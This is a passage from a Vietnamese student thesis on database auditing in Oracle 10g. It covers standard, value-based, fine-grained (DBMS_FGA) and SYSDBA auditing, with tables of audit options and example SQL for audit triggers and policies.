Statement Option SQL Operations
CLUSTERCREATE, ALTER, DROP, or TRUNCATEa
cluster
CONTEXT CREATEor DROPa CONTEXT
DATABASE LINK CREATEor DROPa database link
DIMENSION CREATE, ALTER, or DROPa dimension
DIRECTORY CREATEor DROPa dimension
INDEX CREATE, ALTER, or DROPan index
MATERIALIZED VIEWCREATE, ALTER, or DROPa materialized
view
NOT EXISTSFailure of SQL statement due to nonexistent
referenced objects
PROCEDURE
CREATEor DROP
FUNCTION, LIBRARY, PACKAGE, PACKA
GE BODY, orPROCEDURE
PROFILE CREATE, ALTER, or DROPa profile
PUBLIC DATABASE LINK CREATEor DROPa public database link
PUBLIC SYNONYM CREATEor DROPa public synonym
ROLE CREATE,ALTER,DROP, orSETa role
ROLLBACK SEGMENT CREATE,ALTER, orDROPa rollback segment
SEQUENCE CREATEorDROPa sequence
SESSION Logons and logoffs
Lớp AT3C - 62 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
SYNONYM CREATEorDROPsynonyms
SYSTEM AUDIT AUDITorNOAUDITof system privileges
SYSTEM GRANT GRANTorREVOKEsystem privileges and roles
TABLE CREATE,DROP, orTRUNCATEa table
TABLESPACE CREATE,ALTER, orDROPa tablespace
TRIGGER
CREATE,ALTER(enable/
disable),DROPtriggers;ALTER TABLEwith
eitENABLE ALL TRIGGERSorDISABLE
ALL TRIGGERS her
TYPECREATE,ALTER, orDROPtypes and type
bodies
USER CREATE,ALTER, orDROPa user
VIEW CREATEorDROPa view
ALTER SEQUENCE AnyALTER SEQUENCEcommand
ALTER TABLE AnyALTER TABLEcommand
COMMENT TABLEAdd a comment to a table, view, materialized
view, or any of their columns
DELETE TABLE Delete rows from a table or view
EXECUTE PROCEDUREExecute a procedure, function, or any variables
or cursors within a package
GRANT DIRECTORYGRANTorREVOKEa privilege on
aDIRECTORYobject
GRANT PROCEDUREGRANTorREVOKEa privilege on a procedure,
function, or package
Lớp AT3C - 63 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
GRANT SEQUENCE GRANTorREVOKEa privilege on a sequence
GRANT TABLEGRANTorREVOKEa privilege on a table, view,
or materialized view
GRANT TYPE GRANTorREVOKEa privilege on aTYPE
INSERT TABLE INSERT INTOa table or view
LOCK TABLE LOCK TABLEcommand on a table or view
SELECT SEQUENCEAny command referencing the sequence’s
CURRVALorNEXTVAL
SELECT TABLESELECT FROMa table, view, or materialized
view
UPDATE TABLE ExecuteUPDATEon a table or view
Bảng 2.3: Các Auditable Statements
Privilege auditing
Nó có thể được sử dụng để kiểm toán việc thực hiện của bất kỳ đặc
quyền hệ thống (chẳng hạn như DROP TABLE bất kỳ). Có thể được tập trung
bởi tên người dùng hoặc bởi sự thành công hay thất bại.
AUDIT (danh sách các quyền như SELECT,GRANT,…) ANY
(TABLE,PRIVILEGE,…) [BY USER] [BY SESSION] [BY ACCESS];
Trong đó : BY USER , BY SESSION, BY ACCESS tương tự như trên.
Privileges Audited by Default
ALTER ANY PROCEDUREALTER ANY TABLEALTER DATABASEALTER PROFILEALTER SYSTEMALTER USERAUDIT SYSTEMCREATE ANY JOB
CREATE ANY LIBRARYCREATE ANY PROCEDURECREATE ANY TABLECREATE EXTERNAL JOBCREATE PUBLIC DATABASE LINK
GRANT ANY PRIVILEGEGRANT ANY ROLEDROP ANY PROCEDUREDROP ANY TABLEDROP PROFILEDROP USER
Lớp AT3C - 64 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
CREATE SESSIONCREATE USERGRANT ANY OBJECT PRIVILEGE
EXEMPT ACCESS POLICY
Statements Audited by Default
SYSTEM AUDIT BY ACCESSROLE BY ACCESS
Hình 2.3: Bảng Privileges audit mặc định.
Schema object auditing
Nó có thể được sử dụng để kiểm toán hoạt động trên bảng, khung nhìn,
sequences, thủ tục, thư mục, và các kiểu dữ liệu người dùng định nghĩa. Đây
là loại kiểm toán có thể được tập trung bởi thành công hay thất bại và được
nhóm lại theo phiên hoặc truy cập. Không giống như các hệ thống đặc quyền
kiểm toán, mặc định nhóm là bởi phiên. Vì vậy, hoàn toàn phải ghi rõ BY
ACCESS nếu muốn có một kiểm toán riêng biệt ghi lại dấu vết tạo ra cho mỗi
hành động.
Để kích hoạt kiểm toán Schema object auditing ta sử dụng câu lệnh
AUDIT nhưng chỉ rõ user nài gắn với đối tượng nào trong câu lệnh AUDIT
Cú pháp : AUDIT [danh sách các câu lệnh như SELEC, UPDATE,…]
on user.table [WHENEVER SUCCESSFUL /NOT SUCCESSFUL] [BY
SESION] [BY ACCESS];
Object
Option
Description
ALTER Alters a table, sequence, or materialized view
Lớp AT3C - 65 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
AUDIT Audits commands on any object
COMMENT Adds comments to tables, views, or materialized views
DELETE Deletes rows from a table, view, or materialized view
FLASHBACK Performs flashback operation on a table or view
GRANT Grants privileges on any type of object
INDEX Creates an index on a table or materialized view
INSERT Inserts rows into a table, view, or materialized view
LOCK Locks a table, view, or materialized view
READPerforms a read operation on the contents of
a DIRECTORYobject
RENAME Renames a table, view, or procedure
SELECTSelects rows from a table, view, sequence, or materialized
view
UPDATE Updates a table, view, or materialized view
Bảng 2.4: Bảng Object Auditing Options (Tùy chọn đối tượng kiểm toán)
Bước 3 : Xem kiểm toán (Review Audit Information)
Sau khi đã kích hoạt kiểm toán cơ sở dữ liệu và các tùy chọn kiểm toán
(thông tin đăng nhập các sự kiện, hoạt động của hệ thống và đặc quyền đối
tượng, hoặc sử dụng các câu lệnh SQL), cơ sở dữ liệu bắt đầu ghi các thông
tin kiểm toán.
Nếu AUDIT_TRAIL được cài đặt cho hệ thống thì các bản ghi kiểm
toán được lưu trữ trong kiểm toán của hệ điều hành hệ thống.Trong môi
Lớp AT3C - 66 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
trường window đây là bản ghi sự kiện (event logs). Trong môi trường Linux
hay Unix bản ghi kiểm toán được lưu trữ trong file.Các vị trí của tập tin được
chỉ đinh với tham số AUDIT_FILE_DEST.
Giả sử rằng các tham số AUDIT_TRAIL được thiết lập cho DB, ta có
thể xem lại các bản ghi kiểm toán trong khung nhìn DBA_AUDIT_TRAIL,
đó là một phần của lược đồ SYS.
Nếu AUDIT_TRAIL được thiết lập cho XML hay XML, EXTENDED,
các bản ghi kiểm toán được ghi vào file XML trong directory mà
AUDIT_FILE_DEST điểm tham số. Khung nhìn V$XML_AUDIT_TRAIL
cho phép xem tất cả các tập tin XML trong thư mục này.
Lớp AT3C - 67 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Element Type
AUDIT_TYPE VARCHAR2(18)
SESSION_ID NUMBER
PROXY_SESSIONID NUMBER
STATEMENTID NUMBER
ENTRYID NUMBER
EXTENDED_TIMESTAMP TIMESTAMP(6) WITH TIME ZONE
GLOBAL_UID VARCHAR2(32)
DB_USER VARCHAR2(30)
CLIENT_ID VARCHAR2(64)
EXT_NAME VARCHAR2(4000)
OS_USER VARCHAR2(255)
USERHOST VARCHAR2(128)
OS_PROCESS VARCHAR2(16)
TERMINAL VARCHAR2(255)
INSTANCE_NUMBER NUMBER
OBJECT_SCHEMA VARCHAR2(30)
Lớp AT3C - 68 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Element Type
OBJECT_NAME VARCHAR2(128)
POLICY_NAME VARCHAR2(30)
STATEMENT_TYPE VARCHAR2(28)
TRANSACTIONID RAW(8)
SCN NUMBER
COMMENT_TEXT VARCHAR2(4000)
SQL_BIND VARCHAR2(4000)
SQL_TEXT VARCHAR2(4000)
Bảng 2.5: Bảng các yếu tố trong view V$XML_AUDIT_TRAIL
Bước 4 : Duy trì kiểm toán (Maintain audit)
Duy trì các dấu vết kiểm toán là một nhiệm vụ quan trọng. Tùy thuộc
vào sự tập trung của các tùy chọn kiểm toán, các dấu vết có thể phát triển rất
lớn rất nhanh. Nếu không được duy trì đúng đắn, các audit trail có thể tiêu thụ
rất nhiều không gian và nó sẽ ảnh hưởng đến hiệu suất của hệ thống.
Các thông tin được thu thập bởi kiểm toán tiêu chuẩn(Standa audit trail)
bao gồm:
Số lượng thay đổi hệ thống (SCN), trong đó ghi lại mọi thay đổi
cho hệ thống
Các văn bản SQL chính xác được thực hiện bởi người sử dụng và
biến ràng buộc được sử dụng với các văn bản SQL.Các cột này chỉ
Lớp AT3C - 69 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
xuất hiện nếu đã xác định AUDIT_TRAIL = DB, EXTENDED tại
tập tin khởi tạo các thông số.
Để xem kiểm toán ta sử dụng câu lệnh :
Select * from dba_audit_trail : Xem các thông tin kiểm toán được
lưu trong view DBA_AUDIT_TRAIL.
Select * from dba_priv_audit_opts :Xem các thông tin kiểm toán
được lưu trong view DBA_PRIV_AUDIT_OPTS.
Bước 5 : Hủy bỏ kiểm toán
Để hủy bỏ các kiểm toán ta dùng câu lệnh NO AUDIT. Nếu AUDIT sử
dụng câu lệnh như thế nào thì NO AUDIT phải dử dụng tương tự.
2.3.2.2. Trang Enterprise Manager Audit.
Hình 2.4: Trang Enterprise Manager Audit
Có thể tiếp cận trang kiểm toán từ trang điều khiển cơ sở dữ liệu bằng
cách click vào Administration tab và sau đó liên kết Audit Settings trong
Users & Privileges region.
Các kiểm toán bao gồm :
Lớp AT3C - 70 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Configuration (Cấu hình): Hiển thị các giá trị tham số cấu hình
hiện tại và có chứa các liên kết đến
chỉnh sửa các giá trị tham số
Audit Trails: Cho phép truy cập dễ dàng tới thông tin kiểm toán đã
được ghi lại
Sử dụng các tab sau để thiết lập và gỡ bỏ các tùy chọn kiểm
toánAudited
Privileges: Trình bày những đặc quyền được kiểm toán
Audited Objects: Hiển thị các đối tượng được kiểm toán
Audited Statements: Hiển thị các báo cáo được kiểm toán
2.3.2.3. Sử dụng và duy trì thông tin kiểm toán.
Hình 2.5: Các đối tượng kiểm toán
Vô hiệu hóa tùy chọn kiểm toán nếu không sử dụng chúng.
Hình 2.6: Vô hiệu hóa tùy chọn kiểm toán
Do kiểm toán sẽ làm cho hệ thống phải tải nhiều hơn vì thế nên gỡ bỏ tất
cả những gì không cần sử dụng
2.3.3. Value-Based Auditing.
Lớp AT3C - 71 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 2.7: Value-Based Auditing
Việc kiểm toán cơ sở dữ liệu ghi lại việc chèn, cập nhật, và xóa đã xảy ra
trong các đối tượng được kiểm toán, nhưng không nắm bắt được giá trị thực
tế được thay đổi. Kiểm toán dựa trên giá trị mở rộng việc kiểm toán cơ sở dữ
liệu bằng cách ghi lại các giá trị thực tế được thay đổi. Kiểm toán dựa trên giá
trị thúc đẩy cơ sở dữ liệu kích hoạt (event-driven PL/SQL constructs).
Khi người dùng chèn, cập nhật, hoặc xóa dữ liệu từ một bảng với các
trigger thích hợp,các trigger này hoạt động trong background để sao chép
thông tin kiểm toán cho một bảng được thiết kế để có các thông tin kiểm toán.
Value-based auditing có xu hướng suy giảm hiệu suất hơn
standard database auditing bởi vì các mã trigger kiểm toán phải được thực
hiện mỗi khi chèn,cập nhật, hoặc xóa các hoạt động xảy ra. Mức độ xuống
cấp phụ thuộc vào hiệu quả của mã trigger. Kiểm toán dựa trên giá trị chỉ
được sử dụng trong trường hợp các thông tin lưu của standard database
auditing không đủ tiêu chuẩn
Chìa khóa để kiểm toán dựa trên giá trị là audit trigger. Một audit
trigger điển hình là như sau:
CREATE OR REPLACE TRIGGER system.hrsalary_audit
AFTER UPDATE OF salary
ON hr.employees
REFERENCING NEW AS NEW OLD AS OLD
FOR EACH ROW
BEGIN
Lớp AT3C - 72 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
IF :old.salary != :new.salary THEN
INSERT INTO system.audit_employees
VALUES (sys_context('userenv','os_user'), sysdate,
sys_context('userenv','ip_address'),
:new.employee_id ||
' salary changed from '||:old.salary||
' to '||:new.salary);
END IF;
END;
/
Trigger này tập trung kiểm toán để nắm bắt những thay đổi trong cột
lương của bảng hr.employees. Khi liên tiếp được cập nhật, kích hoạt kiểm tra
cột lương. Nếu mức lương cũ không bằng với số tiền lương mới, sau đó chèn
kích hoạt một hồ sơ kiểm toán vào bảng audit_employees (tạo ra thông qua
một hoạt động riêng biệt trong lược đồ hệ thống). Bản ghi kiểm toán bao gồm
các tên người dùng, địa chỉ IP mà từ đó thay đổi được thực hiện, các khóa
chính xác mà ghi lại được thay đổi, và các giá trị tiền lương thực tế được thay
đổi.
Database triggers cũng có thể được sử dụng để nắm bắt thông tin về kết
nối người sử dụng trong trường hợp standard database auditing không thu
thập đủ dữ liệu. Khi đăng nhập, kích hoạt, các quản trị viên
có thể chụp các dữ liệu nhận dạng người dùng được kết nối với cơ sở dữ liệu.
Ví dụ như các thông tin sau đây:
Địa chỉ IP của mỗi người đăng nhập vào.
48 kí tự đầu của tên chương trình được dung để kết nối với
instance.
Tên Terminal được sử dụng để kết nối với instance.
Đối với một danh sách đầy đủ các thông số người sử dụng, hãy xem
phần có tiêu đề "SYS_CONTEXT" trong Oracle Database SQL Reference.
Lớp AT3C - 73 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
2.3.4. Fine-Grained Auditing.
Kiểm toán truy cập dữ liệu và hành động dựa trên nội dung. Sử dụng
DBMS_FGA, các quản trị viên bảo mật tạo ra một chính sách kiểm toán trên
bảng mục tiêu. Nếu bất kỳ hàng nào trở về từ một khối câu lệnh DML phù
hợp với điều kiện kiểm toán, sau đó một sự kiện kiểm toán đưa vào dấu vết
kiểm toán.
2.3.4.1. Các tính năng vượt trội của kiểm toán FGA.
Fine grained auditing kiểm toán dữ liệu dựa trên nội dung. FGA cung
cấp điều khiển tốt hơn và là một phương pháp chi tiết hơn của kiểm toán.
Phương pháp này tạo ra các bản ghi kiểm toán dựa trên các điều kiện,
truy vấn chính xác,và lấy dữ liệu hoặc điều chỉnh bằng các statement. Nó
cung cấp một cơ sở để kiểm toán những statement tham chiếu đến một cột cụ
thể. Phương pháp FGA được giới thiệu trong Oracle9i. Tuy nhiên, Oracle
Database 10g tăng cường năng lực cho FGA bằng cách mở rộng SQL Support
để hỗ trợ các kiểm toán của các truy vấn, cũng như các hoạt động UPDATE,
INSERT và DELETE .
Hình 2.8: Ví vụ về chính sách kiểm toán
Được giới thiệu vào Oracle 9i, hạt mịn kiểm toán (FGA) thực hiện khả
năng kiểm toán thông qua một gói phần mềm mới có tên DBMS_FGA. Gói
này cho phép thực hiện kiểm toán ở một mức độ rất chi tiết đối với bất kỳ
bảng trong cơ sở dữ liệu thông qua một đối tượng cơ sở dữ liệu đặc biệt gọi là
một chính sách FGA. Có nhiều tiểu chương trình của gói DBMS_FGA . Gói
DBMS_FGA cho phép thiết lập các điều kiện kiểm toán và xác định các cột
kiểm toán để chỉ định cột trong một bảng hoặc xem yêu cầu monitoring. Khi
điều kiện được đáp ứng vào cột cụ thể,kiểm toán FGA sẽ lưu lại một bản ghi
kiểm toán cho thấy các truy vấn SQL text.
Lớp AT3C - 74 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
ADD_POLICY Procedure Tạo ra một chính sách kiểm toán bằng
cách sử dụng các thuộc tính được cung
cấp như điều kiện kiểm toán
DISABLE_POLICY Procedure Vô hiệu hóa một chính sách kiểm toán
DROP_POLICY Procedure Giảm (Xoá) một chính sách kiểm toán
ENABLE_POLICY Procedure Cho phép một chính sách kiểm toán
Bảng 2.6: Các thủ tục của gói DBMS_FGA
Các bản ghi kiểm toán standard auditing chi tiết như chủ sở hữu, dấu
thời gian, loại của statement vv, nhưng nó không cung cấp thông tin về sự
thay đổi đã xảy ra trong dữ liệu. Thông tin này có thể rất hữu ích cho các
DBA hoặc người dùng muốn phân tích các hoạt động diễn ra trên bảng. Đây
là lý do tại sao nhà phát triển cần có sự giúp đỡ của triger và ghi lại các giá trị
bảng trước và sau trong bảng người dùng định nghĩa. Nhưng trigger chỉ có thể
được ghi lại bằng DML statements Insert, Update và Delete còn Select thì
không được lưu lại. Vì vậy,nếu muốn ghi lại các statement Select đã fire vào
một bảng hay cột cụ thể của bảng thì cần đến FGA để giải quyết. FGA cũng
cho phép kiểm toán phải được tập trung hẹp hơn so với standard hay value-
based database auditing.
Đến Oracle 9i, FGA chỉ được hỗ trợ Select, nhưng trong Oracle 10g
FGA hỗ trợ tất cả statement DML. Vì vậy, tất cả các Insert, Update, Delete và
Select statement có thể được chụp lại bằng cách sử dụng FGA và có thể được
xem qua các từ điển dữ liệu DBA_FGA_AUDIT_TRAIL.
Lớp AT3C - 75 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Tên cột Miêu tả
STATEMENT_TYPE Loại của statement – INSERT, UPDATE,
DELETE, hay SELECT để kích hoạt kiểm
toán.
EXTENDED_TIMESTAMP Timestamp mở rộng của the trail entry.
PROXY_SESSIONID Nếu người dùng là một người dùng doanh
nghiệp và kết nối bằng cách sử dụng một
người sử dụng proxy, các SID của các phiên
kết nối người sử dụng proxy được hiển thị ở
đây.
GLOBAL_UID Nếu người dùng là một người dùng doanh
nghiệp,thì đây là các global user ID.
INSTANCE_NUMBER Số của instance nếu sử dụng RAC
OS_PROCESS Operating System xử lý id.
TRANSACTIONID Các transaction nhận dạng, nếu statement là
một phần của statement
TATEMENTID Statement id.
ENTRYID Các mục định danh trong các dấu vết.
Bảng 2.7: Các cột mới của dba_fga_audit_trail
Tùy chọn trong kiểm toán FGA có thể được tập trung bởi các cột riêng lẻ
trong một bảng hoặc khung nhìn, và thậm chí có thể có điều kiện để kiểm
toán được ghi lại chỉ khi một số chi tiết kỹ thuật quản trị được xác định là đáp
ứng. Nhiều hơn một cột có liên quan được hỗ trợ cho một chính sách FGA.
Theo mặc định, nếu có một trong cột này hiện diện trong các câu lệnh SQL,
nó được kiểm toán. DBMS_FGA.ALL_COLUMNS và
DBMS_FGA.ANY_COLUMNS được cung cấp cho kiểm toán trên cơ sở có
Lớp AT3C - 76 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
bất kỳ hoặc tất cả các cột có liên quan được sử dụng trong bản báo cáo
(statement).
Sử dụng các gói DBMS_FGA PL / SQL để tạo ra một chính sách kiểm
toán trên target table hay view. Nếu bất kỳ các hàng được trả lại từ một khối
truy vấn kết hợp các cột được kiểm toán và kiểm toán quy định điều kiện, sau
đó có một sự kiện kiểm toán thì bản ghi kiểm toán phải được tạo ra và lưu trữ
trong các Audit Trail.
Các sự kiện kiểm toán cũng có thể thực hiện một thủ tục(procedure).
FGA tự động tập trung kiểm toán từ các mức độ báo cáo(statement), và do đó
một SELECT statement trả về hàng ngàn hàng chỉ tạo ra một bản ghi kiểm
toán.
Kiểm toán FGA cung cấp một phương pháp tiếp cận linh hoạt,được kiểm
soát để kiểm toán các hoạt động cơ sở dữ liệu. Các tính năng nổi bật như xử
lý sự kiện, kiểm toán, điều kiện, và cột tham chiếu cho các FGA một kĩ thuật
tốt hơn các kỹ thuật kiểm toán khác của Oracle. FGA là dễ dàng để quản lý và
không tạo thêm chi phí cho quản trị cơ sở dữ liệu.
2.3.4.2. Các thủ tục trong gói DBMS_FGA .
2.3.4.2.1. DBMS_FGA.ADD_POLICY Procedure.
Hình 2.9: DBMS_FGA.ADD_POLICY Procedure
Cú pháp
Lớp AT3C - 77 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
DBMS_FGA.ADD_POLICY
(
object_schema VARCHAR2,
object_name VARCHAR2,
policy_name VARCHAR2,
audit_condition VARCHAR2,
audit_column VARCHAR2,
handler_schema VARCHAR2,
handler_module VARCHAR2,
enable BOOLEAN,
statement_types VARCHAR2,
audit_trail BINARY_INTEGER IN DEFAULT,
audit_column_opts BINARY_INTEGER IN DEFAULT
);
Parameter Description
object_schema Lược đồ của đối tượng được kiểm toán. Giá trị mặc
định: NULL. (Nếu NULL, những hiệu quả lược đồ
người dùng hiện hành được giả định.)
object_name Tên của đối tượng được kiểm toán
policy_name Tên duy nhất của chính sách.
audit_condition Một điều kiện trong một hàng mà chỉ ra một điều kiện
monitoring. NULL được cho phép và các hành vi như
là TRUE. Giá trị mặc định: NULL
audit_column Các cột phải được kiểm tra để truy cập. Đây có thể bao
gồm các cột ẩn. Các mặc định, NULL, nguyên nhân
kiểm toán nếu cột nào được truy cập hoặc bị ảnh
hưởng. Giá trị mặc định: NULL
handler_schema Các lược đồ có chứa các xử lý sự kiện. Các mặc định,
Lớp AT3C - 78 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
NULL, nguyên nhân lược đồ hiện tại sẽ được sử dụng.
Giá trị mặc định: NULL
handler_module Tên chức năng của các xử lý sự kiện, bao gồm các tên
gói nếu cần thiết. Chức năng này được gọi chỉ sau khi
hàng đầu tiên phù hợp với điều kiện kiểm toán được xử
lý trong truy vấn. Nếu thủ tục không có ngoại lệ, user
SQL statement will fail as well. Giá trị mặc định:
NULL
Enable Cho phép các chính sách nếu TRUE, đó là mặc định.
Giá trị mặc định: TRUE
statement_types Các SQL statement mà chính sách này được áp dụng:
insert, update, delete, or select. Giá trị mặc định:
SELECT
audit_trail Whether to populate LSQLTEXT và LSQLBIND trong
fga_log$. Giá trị mặc định: DB_EXTENDED
Bảng 2.8: Mô tả các thuộc tính DBMS_FGA.ADD_POLICY
Ví dụ : cho thấy một chính sách FGA được tạo ra với thủ tục
DBMS_FGA.ADD_POLICY . Thủ tục này chấp nhận các đối số sau đây:
Tên chính sách
Chỉ định cho mỗi chính sách FGA một tên khi tạo ra nó. Như ví dụ trên
trong các tên chính sách AUDIT_EMPS_SALARY bằng cách sử dụng các
đối số sau đây: policy_name => 'audit_emps_salary'
Điều kiện kiểm toán
Các điều kiện kiểm toán là một câu lệnh SQL xác định được định nghĩa
khi sự kiện kiểm toán phải cháy. Trong ví dụ, tất cả các hàng trong
department_10 được kiểm toán bằng cách sử dụng các đối số điều kiện :
audit_condition => 'department_id=10'
Lớp AT3C - 79 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Kiểm toán Cột (Audit column)
Các cột kiểm toán xác định các dữ liệu đang được kiểm toán. Một sự
kiện kiểm toán xảy ra nếu cột này bao gồm SELECT statement hoặc nếu điều
kiện kiểm toán cho phép lựa chọn. Trong ví dụ kiểm toán hai cột bằng cách sử
dụng các đối số sau đây: audit_column => 'LƯƠNG, COMMISION_PCT'
Đối số này là tùy chọn. Nếu nó không được quy định thì sau đó là đối số
AUDIT_CONDITION xác định xem một sự kiện kiểm toán phải xảy ra.
Đối tượng (Object)
Đối tượng là các bảng hoặc xem đó là được kiểm toán. Nó được thông
qua như là hai đối số:
- Các lược đồ có chứa các đối tượng
- Tên của đối tượng
Trong ví dụ các cuộc kiểm toán bảng hr.employees bằng cách sử dụng
các đối số sau đây: object_schema => 'h' object_name => 'nhân viên
Handler (Bộ xử lý)
Bộ xử lý sự kiện tùy chọn là một thủ tục PL / SQL xác định bất kỳ hành
động bổ sung phải được ghi lại trong kiểm toán. Ví dụ, Bộ xử lý sự kiện có
thể gửi một trang cảnh báo tới administraotor.
Nếu không xác định, sau đó mục kiểm toán sự kiện được đưa vào
audit_trail. Nếu một sự kiện kiểm toán xử lý được xác định, sau đó kiểm toán
được đưa vào audit_trail và xử lý sự kiện kiểm toán được thực hiện.
Các trường hợp được đưa vào kiểm toán bao gồm các chính sách FGA
tạo ra sự kiện, người sử dụng thực hiện các SQL statement, và SQL statement
và các biến của nó ràng buộc.Việc xử lý sự kiện được thông qua như là hai
đối số:
- Các lược đồ có chứa các PL / đơn vị chương trình SQL
- Tên của người / đơn vị PL chương trình SQL
Trong ví dụ trên đã thực hiện thủ tục SECURE.LOG_EMPS_SALARY
bằng cách sử dụng đối số sau:
- handler_schema => 'an toàn'
Lớp AT3C - 80 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
- handler_module => 'log_emps_salary'
Theo mặc định, Audit_trail luôn viết những văn bản SQL và SQL kết nối
thông tin đến LOBs. Các mặc định có thể được thay đổi (ví dụ, nếu hệ thống
bị suy giảm hiệu suất).
Kiểm toán DML statement :
- Bản ghi được kiểm toán nếu FGA là thỏa mãn và các cột có
- liên quan được tham chiếu.
- DELETE statement được kiểm toán không phân biệt bất kỳ
- quy định các cột.
- MERGE statement được kiểm toán với các cơ sở INSERT hoặc
UPDATE tạo ra các các statements.
Hình 2.10: Kiểm toán DML statement
Với một chính sách FGA định nghĩa cho DML statement, một DML
statement được kiểm toán nếu dữ liệu hàng (cả mới và cũ) được vận dụng đáp
ứng các chính sách tiêu chí xác định.
Tuy nhiên, nếu các cột có liên quan cũng được quy định trong định nghĩa
chính sách, statement đã được kiểm toán khi dữ liệu đáp ứng các FGA xác
định và statement tham chiếu đến các cột có liên quan xác định.
Đối với DELETE statements, xác định các cột có liên quan trong quá
trình định nghĩa chính sách là không hữu ích bởi vì tất cả các cột trong một
bảng đều bị ảnh hưởng trước một câu lệnh DELETE. Do đó, một DELETE
statement là luôn luôn được kiểm toán không phụ thuộc vào các cột liên quan.
MERGE statement được hỗ trợ bởi FGA. Các INSERT, UPDATE
statement cơ bản được kiểm toán nếu đáp ứng bất kỳ chính sách INSERT
hoặc UPDATE FGA
Lớp AT3C - 81 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Sử dụng chính sách FGA đã xác định trước, Statement đầu tiên được
kiểm toán trong khi Statement thứ hai thì chưa.
2.3.4.2.2. Các thủ tục khác chỉ trạng thái (Status).
ENABLE_POLICY Procedure : Thủ tục này cho phép kích hoạt
một chính sách kiểm toán
Cú pháp :
DBMS_FGA.ENABLE_POLICY(
object_schema VARCHAR2,
object_name VARCHAR2,
policy_name VARCHAR2,
enable BOOLEAN);
DISABLE_POLICY Procedure : Thủ tục này cho phép hủy bỏ
kích hoạt một chính sách kiểm toán
Cú pháp :
DBMS_FGA.DISABLE_POLICY(
object_schema VARCHAR2,
object_name VARCHAR2,
policy_name VARCHAR2 );
DROP_POLICY Procedure : Thủ tục này cho phép xóa một chính
sách kiểm toán
Cú pháp :
DBMS_FGA.DROP_POLICY(
object_schema VARCHAR2,
object_name VARCHAR2,
policy_name VARCHAR2 );
Trong ví dụ trên trạng thái cho thấy các chính sách FGA được kích hoạt
và đối số kích hoạt các chính sách: enable => TRUE
Lớp AT3C - 82 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
2.3.4.3. FGA Guidelines (Hướng dẫn sử dụng FGA).
Để kiểm toán tất cả các statement, sử dụng một điều kiện vô giá
trị.
Tên chính sách phải là duy nhất.
Bảng hoặc khung nhìn được kiểm toán đã phải tồn tại khi tạo ra
các chính sách.
Nếu cú pháp điều kiện kiểm toán là không hợp lệ, một. Lỗi
ORA28112 được nâng lên khi các đối tượng được kiểm toán được
truy cập.
Nếu các cột được kiểm toán không tồn tại trong bảng thì sẽ không
có hàng được kiểm toán.
Nếu xử lý sự kiện không tồn tại, không có lỗi trả về và các bản ghi
kiểm toán vẫn được tạo ra.
Các giá trị kiểm toán được được tạo và lưu tại
DBA_FGA_AUDIT_TRAIL (bảng sys.fga_log$ ). Để xem các
hành động được liểm toán ta dùng câu lệnh :
Select *(hoặc các trường cần xem) from DBA_FGA_AUDIT_TRAIL;
Đối với các SELECT satement, FGA ghi lại các statement của chính nó,
và không phải là các hàng (row) thực tế.
Tuy nhiên, khi FGA được kết hợp với Flashback Query, các hàng có thể
được tái tạo như chúng đã tồn tại ở thời điểm trước đó.
2.3.4.4. Một Số Hạn Chế Của FGA.
Bản ghi FGA cho thấy cả hai hoạt động đã được thực hiện và cố gắng
có những thành công hay không.Điều này có thể là một chi phí cho quản trị
viên. Có lẽ DBA không muốn xem kiểm toán DML (Chèn, cập nhật, xóa)
statement đã được 'Phục hồi' của người dùng. Trong tình huống như vậy,
trigger có thể là một lựa chọn khả thi nhất.
2.3.5. DBA Auditing.
Lớp AT3C - 83 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
2.3.5.1. Khởi tạo kiểm toán.
Các cơ sở dữ liệu Oracle tự động bắt các sự kiện đăng nhập của người
dùng SYSDBA và SYSOPER . Điều này cung cấp một cách có giá trị để theo
dõi các hành động trái phép có thẩm quyền của SYSDBA và SYSOPER,
nhưng nó chỉ có ích nếu các dấu vết là OS audit trail được xem xét lại
Các cơ sở dữ liệu Oracle chỉ bắt những sự kiện đăng nhập trừ khi kiểm
toán là kích hoạt cụ thể. Kích hoạt tính năng kiểm toán của SYSDBA và
SYSOPER người dùng bằng cách thiết lập những tham số:
audit_sys_operations=TRUE (The default is FALSE.)
Người dùng với đặc quyền SYSDBA hoặc SYSOPER có thể kết
nối khi cơ sở dữ liệu đã bị đóng lại.
Audit trail phải được lưu trữ bên ngoài cơ sở dữ liệu.
Các kết nối như là SYSDBA hoặc SYSOPER luôn được kiểm
toán.
Có thể cho phép kiểm toán bổ sung hành động của SYSDBA hoặc
SYSOPER với audit_sys_operations.
Có thể kiểm soát các Audit trail với audit_file_dest.
